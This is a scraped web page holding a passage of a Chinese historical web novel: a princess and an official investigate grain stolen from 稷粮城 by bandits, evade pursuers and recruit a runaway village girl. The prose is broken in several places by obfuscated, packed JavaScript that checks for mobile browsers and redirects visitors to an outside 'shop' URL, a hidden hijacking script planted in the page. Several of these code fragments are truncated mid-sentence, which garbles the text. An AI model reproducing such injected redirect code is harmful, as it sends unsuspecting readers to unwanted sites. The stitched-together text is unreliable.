0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405639|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的奶味混杂在一处,甜糯醇厚,口味极佳。 此物是从北狄传入中原的,也是旁处不可多见的美食。 夜幕低垂,月升中天,歌舞也已表演完毕,晚宴结束时已经是戌时。 宾客尽数散去,侍女们在一旁收拾残局,朝颜目送侍女们收拾完杯碟竹著后,独自坐在席上,盯着面前被擦拭干净的空荡桌案,思绪却混乱纷杂,惆怅万千。 娄卿旻坐席被安排在朝颜对面,送别了宿醉的城主与燕国两位朝官,又折返回来。 见朝颜独自在那,便走到她桌案前方,微微垂首,一双琉璃瞳孔静静盯着神游的少女。 见人叹气又深吸,面上没有笑意,他眉睫一挑,关心问道:“殿下可是有什么烦心事?” 朝颜回神,这才发现眼前笼罩了一片阴影,她抬眸,费力地对上男人眼睛,扯了下唇角:“我是有几个疑问,想让大人解惑。” “我想问大人为何如此轻而易举地就答应了宛靖的条件?” 她也知晓粗盐的贵重,她原本还想着直接与宛靖正面对峙,哪知娄卿旻会用自己的利益换取和平。 “逼则反兵,走则减势的道理,殿下不会不懂。” 也是俗话中所说的,该低头时就低头,不用步步紧逼。 更何况一时的输赢不代表自愿久居人下。 韬光养晦,休养生息,待寻到好机会去反击才是上策。 听他解释完,朝颜点点头颇为认同。 今日得见宛靖的模样,看透他利欲熏心,恃强凌弱的特性,与其逼他到绝境,来个玉石俱焚,还不如假装自己低他一截,暂时给他些甜头稳住他。 若真打起来,吃苦受难的全是百姓。 她又想到什么事,刚想启唇余光瞥见他腰间悬挂的玉玦,视线向上,略过齐整的黑色衣襟,又对上男人似笑非笑的眸子,她似是被火灼了般,浑身颤了一下,这才后知后觉自己坐着他站着。 周围寂静如斯,他们一人弯腰一人抬头,目光紧紧相接,四周有些奇怪的东西在暗流涌动。 如此说话费心劳力,还有些不合礼数。 思及此她立刻站起身,与人平视。 此刻不用费劲抬头,心中那抹奇怪的感觉总算消散,她便自顾自地迈步,走出席内,又将另一个疑问道出: “大人,今日谈判时未见宛廿的踪迹,你说宛靖是否知晓宛廿在燕国的事?他若知晓,想必已经记恨上我们了,但他眼下却隐忍不发,莫非暗地又在谋划什么见不得光的事?” “知不知都无妨。” 娄卿旻平静接话,“他不敢与我们正面挑明,宛廿是隐姓埋名入燕国的,他若是先一步找我们的麻烦,倒会给我们反咬一口的机会,他没这么蠢。” 娄卿旻似乎是察觉到朝颜心中的郁结,怕她忧心燕国那几位,便沉声唤了句:“殿下。” “若没什么事我们便尽快离开,回燕国复命。” 朝颜被他一句话提醒了,连瑕和舅父二人还在燕国等她的好消息,更有燕融与堂姐在等她,她不应过分杞人忧天,在此处浪费时间,还是要振作起来想想兄长之事如何隐瞒。 解决完心中疑惑,二人并肩出了大厅,一齐往后院客房去。 娄卿旻又将朝颜送至门前,正欲拜别离开时,暮商急急忙忙跑了来,认识他半年多朝颜还未见他如此慌乱的模样,当下便起了好奇心,跟出来一起听,谁知便听见他向娄卿旻禀明:“不好了大人,暮芹传来消息,说稷粮城出事了。” 二人同时瞪大了双眸,瞳孔满是震惊。 稷粮城! 那可是华纪最大的粮食种植储藏之地,甚至是关乎到家国存亡的重中之重。 娄卿旻面色也骤然紧张起来,连忙追问:“到底怎么回事?” 54. 稷粮之乱(二) “稷粮城到底出了何事?” 娄卿旻话音刚落,朝颜深黑眸珠一转,男人紧锁的眉心便入了眼帘。只见他眉下两片细长的羽睫忽闪,眼瞳骤缩,面上是平日不曾见过的慌乱。 转头又见男人身侧的暮商面上也带着一抹少见的手足无措,她便察觉出事情的严重性。 人越急越容易出错,严肃的追问令暮商神情紧张,迟钝许久,见此景朝颜伸手拍了下少年的手臂,后轻声安慰少道:“暮商,你且慢慢说,说清楚些。” 轻柔的话语顺着阴凉的寒风灌入耳中,竟也添了些许暖意。 暮商被这几句话平复了心绪,随即朝着少女恭敬点了下头,细细道来: “回殿下,属下方才收到一封来自稷粮城的暗信,是暮芹飞鸽传书而来的,信中禀明前几日有一批人马假扮华纪的官员入了城,通知百姓们说华纪皇城粮食短缺,供不应求,要提前收粮为战事做准备,城主便让百姓们将粮食全部交予他们。” “临走时暮芹才察觉事发突然,队伍中有几个人十分可疑。她便暗自留了一手,专程与皇城那边的人对接了消息,才发现那批人马的确是外人伪装的,若不然众人怕是到来年收粮时还被蒙在鼓里。” “眼下暮芹也不知如何做,在等大人指示。” 暮商逐字逐句解释完,朝颜明显能感觉出几人周身温度已降到冰点,娄卿旻的面色也愈发沉重。任谁也未料到几人千里迢迢赶来别国处理纠纷时,华纪会发生此等荒谬之事。 话音落后,娄卿旻抬眸看向暮商,追问的语速极快:“可有查出对方是何人?” “回大人,据暮芹信中所言,那批人马其中几个人身上有一种中原人身上没有的气味,貌似是许多药香掺杂在一起的味道,其中最特别的一味香是艾纳香。” 艾纳香。 众人霎时清醒,饶是再迟钝,也能猜个八九不离十。 在中原,除了医者大夫与病人,很少有人身上会携带药香。尤其是艾纳香这种罕见的解毒之药香,峮防山匪最擅毒与蛊,所以骗粮之人的身份便显而易见。 暮芹是暗卫中最精通药理之人,嗅觉敏锐,洞察力十分强,与他们周旋多日临走时才勉强发现那队人马的端倪,若不是因为那缕香更是不会看出破绽。 假使没有暮芹,怕是待他们回了老巢也未必能反应过来,那些人的身份更是无从而知。 “既然暮芹发现端倪,为何无人阻拦,任由山匪将粮食带走,大人难道未在稷粮城安插人手?”朝颜问出心中疑惑。 照娄卿旻严谨至极的性子来看,他不可能放着华纪粮城那样重要之地而不顾。 知晓朝颜的困惑,娄卿旻接话:“回殿下,燕国之事人命关天,臣便做了两手准备,特意将原先在稷粮城的人马调遣到荆城边境听命,山匪偷粮的时段,稷粮城城中除了暮芹便没有旁人,城主手下也是些手无缚鸡之力的百姓,哪里应对得了狡诈的山匪。所以暮芹即使发现那队人们马不是华纪之人也于事无补,为保众人性命,她便只能睁只眼闭只眼,由着他们将粮食带走。” 随着男人耐心解释的话语说完,朝颜终于顿悟。她慢慢颔首,盯着腰间的金银错带钩陷入沉思,也难怪那日娄卿旻与宛靖谈判时一言一行都那样无畏,原来背后竟是这样一场精心布局。 也只有她会傻乎乎觉得,娄卿旻凭借着一腔勇气便敢单枪匹马独自对上宛靖的大军。 殊不知那不仅仅是勇气,还有无数精兵暗卫在身后为其搭建的足矣对抗敌寇的护盾。 只是他们都未曾想到,会有人趁乱对华纪粮城下手。 朝颜透过男人的视线,看到他眼神中一闪而过的淡忧,兀的想起前世兄长中毒身亡后,山匪进攻华纪皇城时,貌似也是因为缺少军粮而落了下风,思及此她懊恼又愤愤,心中燃起一抹浓郁的烦闷,堵在胸前不上不下,郁闷至极。 她如今细想,前世燕国被早早覆灭,娄卿旻为护华纪故而将亲卫都带入皇城,以至于那时的暮芹不在稷粮城,倒也便无法发现偷粮人马的端倪,山匪军粮充足,自是占上风,害得她不得不用联姻的方式寻求衡无倡庇佑。 原本该发生的事情随着她的重生,还是有了一些改变。纵使没有引起翻江倒海,也是起了些波澜。小波澜也足矣汇聚成河流,救下燕国只是第一步,未来还需她更加谨慎。 自从知晓兄长身亡之事,她整理过忧伤的心绪后,便开始学着知足常足。 如今燕国还在,堂姐夫妇二人活在世间,稷粮城百姓们性命也未受到伤害,那便足够令人欢喜了。 过了好半晌,暮商又支支吾吾地说:“大人,属下还有一事……” “山匪将去岁收得粮食尽数拉走,眼下稷粮城百姓们都眼睁睁等着皇城给他们派发统粮钱。” 话毕几人互相扫视,面面相觑,他们皆知,皇城并未拿到粮食不会给派发统粮钱。 暮芹也表明她还未将此事上报朝堂。娄卿旻思考片刻决定顾全大局,将此事死死瞒住,定不能让国君朝穆知晓。 反之必会引起轩然大波,届时此消息传到别国,闹得人心惶惶,白白给了他们趁虚而入的机会。 思及此娄卿旻即刻吩咐暮商往稷粮传信,让暮芹先将此事隐瞒下来,止住百姓们的口舌,防止他们传出去。 目送暮商离开后,朝颜也没心思回去休息,而后便与娄卿旻一前一后地走到庭院最中间的凉亭中,二人自顾自地坐在石凳上,各怀心思。 峮防是华纪与燕国北狄三国的山脉连接处,那里的山匪数目庞大,既不属中原三国又不属偏远的北狄,里面的人都是从前一些偏远之地的原著民,尽会使些巫术蛊毒等害人手段。 后来战乱之时,各个地盘跑出去许多不服管教的罪恶之人,他们混在一起,对周围村民烧杀强盗,最后便成了众人口中的山匪强盗。先前遥远村落无人管辖,他们便自作主张烧杀抢夺,各自佣兵为王。 他们嗜血残杀,喜爱扩张领地,所过之处不会留下活口,频频侵犯华纪边境也是想抢占领地,公然挑衅。 若非华纪有朝饶这个战神将军与娄卿旻作军事与之对抗,怕是早就被夷为平地。 而峮防与稷粮城相距甚远,敢如此正大光明入城,就说明他们早就计划着偷粮之事,况且还算准了稷粮城无人保护,孤立无援。 好在他们此次的目标是粮食,不是抢占城池,若不然稷粮城的百姓将会遭受无妄之灾。 想到此处娄卿旻心上蒙寒,恐惧飞速划过。 他还是大意了,自与朝颜去往燕国调查粗盐之事后,他便将稷粮城抛之脑后,如今想想还有些后怕。凡事还是不可掉以轻心,须得安排些人手保护稷粮城。 娄卿旻深思熟虑后双眸颤了下,心中有了主意。 朝饶留下的三千精兵训练有素,始终并未在众人前露过面,如今既能瞒下粮食被偷又可护百姓平安之事怕是只有他们能做。 他当即便决定回去修书一封传到暗 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她越说越激愤,越说越多,“总归也不是第一次了,大人便听我的,带我同去。多个人便多份力量,多一条路。” 朝颜虽对父王往日种种行为举止颇为不满,但她是真心关怀华纪的安危。尤其是前世经历过独剩一人的悲惨结局,她便更想将华纪于水火之中救下。 纵使那个父亲对她再怎样冷眼相待,她还是不能忘本,更不能置之不理。 朝颜性子向来如此,娄卿旻料到这一幕,不忍惹她烦闷,便沉下心来不再反驳。他想起来时随身所带的千军人马,又解释道:“人多眼杂,殿下最好不带那些人。” 毕竟事关机密,需谨慎行事,大张旗鼓的架势不可为。 “殿下,臣稍后便去与赵大人商议一番,让他带着这一千人马与司马将军一同返回燕国,佯装我们都回去的假象,然后臣带殿下走小路去稷粮城。” 见人应下,朝颜的情绪便也归于平静,垂眸点头,“好。” 此次需轻装上阵,槐夏便只带了银钱与朝颜的贴身之物,其余的东西让羽堇与赵成延全部运回燕国,届时可从稷粮城再赶回燕国。 隔日一早众人便启程。 * 风和日暄,马蹄飞扬。长队浩浩荡荡,气势磅礴,又顺着来时的路重新返回。前几日下的雪已经化成水珠被泥土全部吸去,暖阳微绚,轻柔地洒在众人面庞上,温暖惬意,长队中洋溢着返乡的欢愉氛围。 荆城百姓们躲过这次战乱,大小老少纷纷站在中央街道上迎送这些大功臣,赵司寇与“娄卿旻”在队伍最前方带路,队伍中混杂着两辆马车,一辆是司马将军疗伤专用,还有一个便是朝颜来时所乘,羽堇奉命跟随,以免众人怀疑。一切都与来时一般无二,只多了司马将军的车撵。 大部队徐徐前行。 与此同时,喧闹大街百姓中混杂着几个乔装打扮后的人马,穿过人群拉着租来的马匹踏上另一条僻静之路。 此队人马正是娄卿旻四人。 娄卿旻在最前方带路,槐夏与朝颜在中间共乘一骑,由朝颜驾马,槐夏则紧紧环抱她的腰,暮商在他们身后,保护众人,观察敌情。 行了一个时辰的路,眼前的丛林从茂密转为稀疏,意味着他们离稷粮城愈来愈近。 就在这时,暮商驾的马忽然提速,穿过朝颜二人,迅速行至与娄卿旻齐平的位置,微微侧过头,余光瞥着身后被他甩在远处的小尾巴们,语气中带着几分急促紧张:“大人,有人跟踪。” 55. 稷粮之乱(三) “大人,情况不妙,有人跟踪。” 细碎声音飘过,朝颜感觉面前一凉,人影飞速闪过,眨眼间便看到本该在队伍最后方的暮商骑马越过她二人,直直追上最前端的娄卿旻,轻声启唇说着什么。 她只听到跟踪二字,其余的尚未听清,前方两人的马匹便降了速。 朝颜见状也扯着缰绳带槐夏赶上前去。 “可看出是谁的人?”娄卿旻目光直视前方,随口问着。 “虎皮兽衣,黑色骏马,其中一个样貌年纪与我们在燕国所见的宛七相仿,若属下没猜错,应是宛靖的手下。”说完暮商冷哼了一声,眼底闪过片刻的不屑与烦闷。 北狄人到底是野蛮的倭贼,所做之事都是小人之举,刁滑奸诈,根本上不得台面。本以为荆城之事两方已经相商明白,哪里知道他们当面一套背后一套,还敢偷偷跟踪他们。 又行了小段路后,竹林前忽然出现几条岔路口,娄卿旻二人相视一眼便将马勒停,身后紧跟着的朝颜见状便也用力拽禁缰绳,马匹鸣叫一声后幽幽停在男人身侧。 稷粮城之事事关华纪的安危,他们必须要将那群尾巴甩开。 果不其然,娄卿旻想了片刻便想到了法子,他凝着眉看向众人道:“四个人一起走太过显眼,我们须兵分两路甩开他们。暮商,你带槐夏从另一条路走,我带殿下走左边这条。记住,千万不能让他们知道我们的目的是稷粮城!” “甩掉他们,我们在稷粮城会合。” 暮商跟着自家大人许久,自是执行了不少类似任务,所以完全不在话下,听完吩咐后便恭敬接话:“是,大人。” 二人就这样极其迅速地将事务分配清晰,甚至朝颜槐夏二人还未反应明白便被安排好了去路。暮商行至朝颜马侧,一把扯过槐夏的手臂便将她拉到马背上,少女坐在暮商身后,懵懂的眼神看着一旁同样不解的公主殿下。 娄卿旻不浪费时间,修长的手指搭着衣袖极其自然地放在朝颜纤细的手腕上,正准备将她拉过来,不料被她一道声音制止在原地:“等等!” 少女挣扎的力气让男人动作一愣,微侧头对上朝颜担忧疑惑的眼神,连忙开口安抚:“殿下您放心,暮商会保护好槐夏,我们要快些离开此处,北狄人马上追来了。” 一侧暮商也应和喊着:“殿下放心!属下会保证槐夏的安全!” 话音落下转头便带着槐夏走上前方一条分岔路口。 “殿下!不可再浪费时间!”身后传来男人的催促声,朝颜刚收回送别槐夏二人的视线,便觉得腰间一紧,一阵天旋地转,视线模糊,下一刻人已经坐在马背上,身后是男子坚硬又温暖的胸膛。 紧急时刻,也不在乎什么男女有别的礼节了。 娄卿旻沉着脸,抬手扬鞭,朝颜二人的马便受惊向前猛冲而去,而他则是扯着缰绳掉头走向另一条小路,与暮商他们分道扬镳。 凉风侵袭,衣袂随之飘扬,猛烈的风力不停拍打着少女娇嫩的面颊,朝颜坐在前端,正面迎风,她觉得冷便向后一缩,此刻终于感受到娄卿旻先前夜里乘着风雪而行的艰难,如今的寒风比不上风雪那日凌冽,却也将人的面庞刮得生疼。 身后男人像是察觉出她后缩的动作,一手将披风向前扯了扯,略微裹住一多半少女的身形。 二人共乘一马,周身免不得染起几分旎旖之气。 又行了半刻,暖阳逐渐升至头顶,朝颜方才被冷风吹得头脑发麻,鼻尖已经没了知觉,眼下晒着温热的日光,面上染起一抹绯红,身子暖起来,心神也逐渐归于平静。 对于方才发生之事她已猜出个八九不离十,微喘的嗓音轻飘飘地说出口:“是宛靖么?他为什么要追我们?” 呼啸冷风中,朝颜清冷的嗓音显得微弱极了。但还是一字不差得传入娄卿旻耳中,他答:“或许他见我们人少又走得急,想趁火打劫。” 宛靖还真是个小人。 他表面答应了不伤害燕国人,彼此井水不犯河水,但背地里对华纪与燕国的关注未曾减少,此次将主意打到他们身上,更加验证他阴险狡诈的特性。他们还是要细心防着他。 不知走了多久,周围林木逐渐消散,前后皆荒无人烟。 除了身下的马蹄声便别无其他,危机似乎已经解除,娄卿旻驾马的速度逐渐变慢。耳侧呼吸声愈发清晰,手臂上的压力逐渐变轻,朝颜紧张的心绪逐渐转化为羞怯,身侧裹着男人的披风,她这才迟钝地回过神,一抹绯红染上耳尖。 就在这时,远处一颗粗壮的大树后忽然出现一道暗灰色身影。摇摇晃晃,躲闪藏匿,见到二人驾马的身影便不再躲闪,直接冲这边奔波扑来。 驾马速度虽说不快,但若撞到人,免去死亡也会让其落得个半残。 就在这千钧一发之际,娄卿旻将朝颜护在怀里后两只手用尽全力拉起缰绳,赶忙向灰衣人的右侧方转去,这才避免了这场血淋淋的惨状。 “救命!”那人胆子极其小,见马从身侧飞过,大声喊了一声句便直接晕了过去。 娄卿旻不给其留半分眼神,直接越过她驾马离开。 朝颜迅速回头向后看去,却直接撞入娄卿旻怀中,眉眼瞥见底下昏迷不醒的人,言语略显慌乱:“大人,救她!” 娄卿旻面上神情严肃冰冷,许是因为方才那人直接撞他们而不悦,此刻言语稍显冷情:“眼下我们已自顾不暇,哪里顾得上她。” “可这是荒郊野外,她自己一个人只靠两条腿行路,万一遇到宛靖的人要如何自保?” 说话间,朝颜眼眶与鼻尖已经被风吹得泛起红血丝,一眼望去令人心生怜悯。 二人相视一眼,娄卿旻瞥了地下那人几眼,心中有了思量,迅速答应下来。 好在他们已经将宛靖的人甩得很远,一时半会儿也赶不上来。二人便一齐将人扶上马背,最后是娄卿旻在前方拉着缰绳,朝颜则坐在马背上扶着她的脊背,三人继续前行,速度极其缓慢。 有人牵马,朝颜便垂眸紧盯着面前本该陷入昏迷的人。 对方眼皮轻颤,眼珠转动,指尖还微微蜷起,似是装到极致忍不下去一般。 见状她微微勾起唇角,半眯着眸子就这样沉默地看了对方半刻,语气也不似先前为她求情时的温软,反而添了几分凉:“别装了,我知道你没晕。” 淡淡的话语像是尖刺,缓缓扎进人的肌肤,虽不致命但有些刺痛,足以警惕人心。 那人闻言当即打了个激灵,悠悠睁大眼眸,袖口下的手紧握成拳,脸色也渐渐泛红,话语间带着报赫,“原来女公子早看出来了,那方才……” 朝颜皮笑肉不笑地接过话:“方才只是一场戏。” 这女子专程朝他们的马匹冲过来便证明她别有用心。 她所坐位置比娄卿旻还要靠前,不会看不清女子的所作所为,只是他二人都想弄清楚这荒郊野岭外,女子孤身一人身着男装是为何。 已被戳破,那人便也不再装下去,挣扎着坐直身子,道:“虽然被你们看破了,但我还是要谢谢二位的救命之恩,我这就离开,不给二位添麻烦。” 话毕,娄卿旻拉马的速度也慢了下来,女子刚想顺着马镫下去,不料身后的朝颜一把抓住她的臂膀阻止了她的动作。 “站住!” “让我猜猜,你身上所穿麻絮缊袍,料子粗糙,应是家中有些贫寒,见你手背轻微起皮有些冻裂之象,想必是做了不少农活的。方才初见你时,你在林中行色匆匆速度极快,身上还背着包袱,似是准备好一路逃亡,只是你没料到会在这荒无人烟的地方遇到我们。” “依我看,你是与亲人吵闹后伤心欲绝而离家出走的,而距离此地最近的村庄除去稷粮城并无其他,你应是从稷粮而来,我猜得可对?” 女子没想到朝颜面容看着如此稚嫩,心思却深沉至极,会察言观色还会推理,她此时此刻是彻底佩服起朝颜。而后答话:“如女公子所言,我是住在稷粮城,我也是从家里偷跑出来的。我也是听人说燕国最近出了个教学先生,可以用粮食锦缎食物当学费,向他求学,这才跑了出来。” “眼下不安之世,你一女子竟敢独自离家,随意拦截路人,胆子还真是大。” 毕竟当今之世算不上太平,僻静之地偶尔还会有强盗山匪出没,危险重重,男子出门都会带些随从以护安全,眼前人着实是勇气可嘉,也思想简单。 那女子瞪大眼睛,语气震惊:“您、您认出我是女子了!” 朝颜憋不住笑出声,眼前人虽被晒得有些黑,但她温婉的眉骨鼻峰与光滑的脖颈处无一不在向人证明她是个如假包换的女子。 她比娄卿旻还早一眼看出她的真实身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405641|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份。 偏偏她自己觉得自己伪装得很好,游荡在山野间,真是有些不知天高地厚。 朝颜又问她:“你离家多久了?” “不久,才不过一个时辰。” 先前听娄卿旻计划,他们须得半日才能抵达稷粮城,如今他们走了一个时辰,应是行过少半的路程便遇见这出门一个时辰的女子,看来此处到稷粮城还有条不为外人所知的近路。 朝颜认真看着她,“既如此,你应该晓得附近去稷粮城最近的路罢?不知可否为我们走一带条最近的路?” 女子下意识啊了一声,随后摇头摇得像拨浪鼓:“我不回去。我可是好不容易才跑出来的,若是回去,我娘指不定要怎么收拾我呢,我不回,也不敢回。” “天底下的娘都爱自己的孩童如命,你娘为何要收拾你?” 听见朝颜这句问话之后,女子愣在原地,眸子里透着满满的不可思议。她这才发觉眼前人的见解与自己有天渊之别。 停顿片刻后,开始快速地讲诉自己的往事。 朝颜了解一番才知女子名为关奂,自小便一心求学,但母亲不同意,并且将她帮人做女红挣来的钱全部给她那个不学无术的兄长读书用了。她起初反抗,遭到许多次毒打,后来学着不反抗,私下自己存了银钱,整日寻机会逃出生天。 今日也是趁着母亲去找城主要粮钱,趁乱出逃。 本想寻个有缘人捎她一程,哪知出师不利,碰见朝颜二人。 一席话毕,朝颜顿悟,原来重用男子轻视女子的想法,在偏远村落中如此严重。 但是关奂这样孤身一人远走他乡,无依无靠也不是什么好办法。 她拍拍关奂的手以示安慰,便道出最重要的:“难道你打算就这样躲躲藏藏一辈子么?” 关奂并未答话,朝颜紧接着又说:“我想提醒你一句,就算你此番安全赶到燕国,若你进城时没有任何表明身份的照身帖,也是会被抓进大牢的,届时一切都徒劳无功。” 关奂并未出过远门,也不知照身帖为何物,一心只想逃出牢笼,哪里知道自己思想过于单纯,眼下赔了夫人又折兵。 她迫不及待寻求帮助,一双眼睛湿漉漉地盯着朝颜,“那我该如何做才能……” 朝颜陷入思虑,左顾右盼望着四下的路口,最后与娄卿旻对视一眼,打定主意道:“这样吧,你先带我们去稷粮城,届时我会想办法让你名正言顺地脱身,再也不受你娘亲威胁。” 闻言关奂心中一喜,登时眉开眼笑:“贵人此话当真?” “当然。” “实不相瞒,我与我夫君也是私逃出来的,就是想寻一个庇护之地,我们身后还有许多追兵,若我们被抓回去,他们定会怀疑是你教唆的我,你也免不了受惩戒。” 朝颜故意将事情说得可怕一些,装作极其可怜的模样,也不管一侧男子吃惊的目光,一心只想引女子入瓮,“同是天涯逃命人,你就帮帮我们吧。” 果不其然,关奂鼻头一酸,觉得眼前二人也是可怜,而后不加考虑便点点头,“我可以带你们去,但是我不想回到那个村子,我也不想见到那些村民。君子一言九鼎,不轻易许人。你们定要信守承诺,想办法帮我把我的照身帖弄过来,若不然我……” “我……” 她一连说了好几个我,本是想放出些厉言厉语来威胁二人,但转眸一看到朝颜马下那位衣着灰白袍男子那凌厉的目光,便半个字都不敢再说了。 关奂心中愤愤。 二人明明是夫妻,但少女一言一行散发的暖意与男子身上浑然天成的凉薄大不相同。 明明看着不是一个世界的人,为何会走到一起,成为夫妻? 这个疑惑她不敢问出口,也觉得二人不会为她解答。 朝颜不知女子心中已经将他二人从左到右想了个遍,假装占了下风,道:“你肯帮我们便是最大的幸事,其余自是全都依你。” 三个人,只有一匹马,便只能二人坐着一人走着。 原本二人顺畅之路突然多了一个人,几人赶路的速度便比先前慢了许多,不过好在有关奂的指路,他们寻了条最近的僻静之路,在晌午午膳前便已经赶到稷粮城的边界驿馆。 几人寻了个客舍用膳歇息后又继续前行,太阳落山之前他们便顺利赶到稷粮城内城。 56. 稷粮之乱(四) 验明正身后,他们穿过城门街道,在路人的指引下找到稷粮城城主府。 城主府门前,守门小厮见到气度不凡方几人瞬时迎了上来,娄卿旻抬手便亮出表明身份的印信,小厮进府通报,不到一会儿便见一位年过不惑的男人摇摇摆摆甩着宽袍大袖迈大步跑了出来。 娄卿旻从前来过几次稷粮城,城主又听小厮说来人带着官府印信,故而一眼便认出娄卿旻。 据说城主年龄将近五旬,下颌留着长长的胡须,身上充斥着一股童颜鹤发的状态,比朝颜先前见过的此年龄的人都要好许多,身子往旁边一站,明显比娄卿旻低半个头,许是被近日里被百姓闹得头疼,心中烦闷,神态略显慌忙,唇上带挂起一抹淡笑,而后随意瞥了娄卿旻与他身后带的人一眼,恭敬一拜,将几人迎了进去。 鉴于自己是偷偷逃婚出华纪的,朝颜便没让娄卿旻向众人言明她的真实身份,此刻一袭精简暗灰色直袍男装遮住身形,束起发冠,英气迸发,活脱脱像个朝气蓬勃的少年。 而关奂也是一言不发地跟着,她本身不笨,跟着二人的路径一路来到城主府门前,便猜出二人身份不凡。 她也不敢多言多问,只能内心感叹自己头一次跑路便遇到了身份尊贵的人,心里下了决心更要尽善尽美取悦奉承。 也好在城主府无人识得她,都将她与朝颜当作娄卿旻带来的小侍,准她们跟着,且无人在意。 进了府门,娄卿旻最先在正厅的案前软垫上落座,朝颜与关奂则是站在进门处当守门护卫,城主卫覃没理睬她二人,只是挥手将自己府上下人驱散后便一股脑地坐到娄卿旻身侧,神情苍凉,孤立无援。朝娄卿旻拱手作揖,准备爬跪一拜,“救救我吧大人!” 娄卿旻听到这句话后明显皱了眉,瞥见卫覃即将下跪的动作,忙伸手将其拉住。 “城主大人不必如此,先将此事的起始讲明白,本官才能帮大人想办法解决。” 闻言,卫覃感激般地点了点头,后坐在一侧先是道歉:“大人远道而来,下官未为大人举办接风宴,烦请大人莫要怪罪。实在是下官无力抽身再安排享乐之事。想必大人已经收到粮食被骗走的消息。” 娄卿旻面容认真,点头回应,便听他又道:“大人不知,自粮食被那贼匪诓走后,百姓便日日夜夜来下官府上闹,催下官给他们发统粮钱。” 他说话的语气没有半分生气,尽是懊恼。 “那日送走贼人们,下官本欲派人去皇城询问此事催一催统粮钱,哪知收到一封信,信中所言皇城并未派人来此收粮,我这才知粮食被山匪骗走了!如今下官是半步府门都不敢出了,生怕被他们围攻,就连下官的一家老小也全部受到牵连,夫人不敢出府逛街,我儿也不敢去学堂,什么都没法儿做。” 话音落下,他又长长叹了口气。 朝颜听在心里,颇有感触。 百姓辛苦劳作一年,眼下统粮钱却迟迟不发,他们有如此过激的行径也不意外。 眼下最重要的便是尽快凑齐统粮钱,派发给百姓,安抚住他们急躁的心,城主一家人的生活才能恢复原样,而那样也才能堵住悠悠众口。 若不然军粮失窃一事传出去,对华纪极其不利。 城主见到娄卿旻便觉得搬到救兵,又绘声绘色地诉苦,告诉他城主府旁边徘徊着的一些年轻力壮的男人全是百姓们雇来监视他的。 朝颜心下便明白,也难怪进城后总能看到一切青壮年在城中四处游荡,假装忙碌,还有几个人在城主府后门徘徊。 原来竟是百姓们怕卫覃私贪统粮钱,丢下他们逃跑而安排的眼线。 城主尽数讲述完毕,室内一片安静。 娄卿旻在认真思索解决办法,城主也自觉地没开口打搅他。 说起城中青年,朝颜忽而想起先前自己那不学无术的堂兄,后与娄卿旻对视一眼,得到许可,只身向他这边走来,跽坐在他右后方,靠近他耳侧压低声音道:“不知大人是否还记得从前在堂兄手上收回的财宝?” 话毕,娄卿旻羽睫微颤,瞬间了然于心,微微偏头,视线对上朝颜的眼眸。 一双睿智的桃花眸,像是会说话。 她又轻声道:“大人可以先把那些东西拿出来换成银钱补贴给城中百姓,若能平安度过此次危机,也算是替堂兄积德行善了。” “好。”娄卿旻觉得朝颜所提议算是缓兵之计中最好的办法,而后微微勾唇应下:“那我便替百姓谢谢姜公子。” 如墨的眸子目不转睛地看向朝颜,眼底闪过一丝笑意,在众人看不到的地方,似乎对朝颜说了‘殿下,也谢谢你’。 “大人不必言谢,为国效力,都是应该做的。” 娄卿旻将朝颜所提计策又与卫覃细细讲述了一遍,卫覃听完顿时眉开眼笑,麻烦被解决,心思都舒坦不少。 但下一刻他忽然又变了脸色,欲言又止:“只是……还有一事。” “城主大人尽管说来。” “派发完去岁的统粮钱后,也到了为皇城奉粮之时。原本去岁经历过一次大旱,我们粮食产量便不多,此次又被那些天杀的山匪骗去,眼下更不知如何、如何补齐。还有城中百姓的粮食也周转不开了,有一部分百姓们没粮吃。” 他越说越惭愧,头垂到最低,十分懊恼,怎么自己竟一个不小心同时搞砸三件事。 娄卿旻早想到这一茬,追问道:“城西粮仓里还有多少粮食?” 卫覃回:“下官已经派人计算过,只有往年的一半。” 若是少了三分之一,还能找个借口糊弄过去,但眼下比去岁少一半,那便不是三言两语便能解释清楚了,况且国君也不是傻的,今年未经大旱雨水,粮食突然减少必会追究。 “本官已快马加鞭派暮商与暮芹去就近城池运粮,相信用不了多久就能回来,解了眼前燃眉之急。只是……”据娄卿旻所察,稷粮城附近还有几座其他的小城邑,也有些许存粮,他拉一少部分还尚能应付得过来。 只是…… 朝颜顺着他接下话茬:“大人是想说,只是我们的粮食是有限的,补上这个缺口,别处怕是要露馅了,最后只能拆东墙补西墙,一步错步步错。” 话毕卫覃才反应过来,光是想想那些后果他就额上冒汗,后追问:“除此之外还有没有别的办法?” “若到时再补不上这个漏洞,便只有最后一个办法。”娄卿旻说完后,与右侧少女对视一眼,而后视线扫过她裙摆处所系的香囊,心中之意透过这几个动作慢慢传出去。 朝颜顺着他的视线看着香囊,不自觉脱口而出:“大人是说,向燕国求助?” 先前他们一行人去燕国边境荆城时,燕融曾答应解决两国矛盾后会给二人些奖赏,如今倒可以趁机向燕融求粮。 不过若真的要从燕国向稷粮城运粮,这等大动作便瞒不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 